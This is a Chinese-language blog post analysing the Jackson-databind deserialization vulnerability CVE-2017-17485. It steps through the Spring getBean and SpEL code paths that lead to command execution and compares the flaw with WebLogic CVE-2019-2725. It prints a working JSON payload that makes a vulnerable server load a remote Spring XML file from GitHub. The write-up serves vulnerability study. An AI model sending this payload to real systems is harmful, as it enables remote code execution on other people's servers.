CVE-2017-17485 Jackson-databind 反序列化
Jackson-databind的作用简单来说就是就是将json转换成对象。
0x02 漏洞分析
从payload来看，应该也是和
org.springframework.context.support.FileSystemXmlApplicationContext 这个有关系。
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}
在这个地方下一个断点
org/springframework/context/support/FileSystemXmlApplicationContext.class
通过idea可以通过 diagrams 的 Show Diagram Popup 查看类与接口之间的继承关系。
在 beanFactory 中有 getBean 的构造方法
而实际 getBean 的构造方法是在 AbstractBeanFactory 类中调用。
我们试着在 AbstractBeanFactory 类中的 getBean 方法下个断点也就是说程序通过一系列的json反序列化，以及反射机制进入到了 getBean 方法，并且获取到了这个 name 为pb的方法。
在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary这里下断点，我看到经过 evaluate 处理之后 valueObject 等于我们要执行的 calc.exe 。
这里看一下 evaluate 方法的实现。
然后会继续解析 #{ pb.start() } ，对 #{ pb.start() } 进行spel操作。
当解析完 pb.start 操作后就会命令执行。
0x03 后话
回过头看一下发现 Weblogic-CVE-2019-2725 使用的 FileSystemXmlApplicationContext 和 CVE-2017-17485 使用的 FileSystemXmlApplicationContext 相比缺少了一步表达式解析，也就是
Object valueObject = this.evaluate(typedStringValue);
那我试试看，调整一下payload，当然也是可以的。
也就是说实际上 CVE-2017-17485 所用到的spring版本为5.0.2，它足够高，支持spel表达式的方法来初始化 bean 对象，而 Weblogic-CVE-2019-2725 所用到的spring版本过低，无法支持spel表达式，所以它需要通过指定 init-method 的方法来初始化 bean 对象。
正文到此结束
热门推荐
相关文章
近期评论
-
666
-
文章和留言都翻到11页了 没有OOM
-
-
朋友，翻页到11页，及以后，会出现OOM，无法访问
-
-
-
-
版本号是多少，你可以下载哪个代码仓库，jdk选1.8 直接跑就行
-
-
Loading...
![[HBLOG]公众号](https://www.liuhaihua.cn/img/qrcode_gzh.jpg)
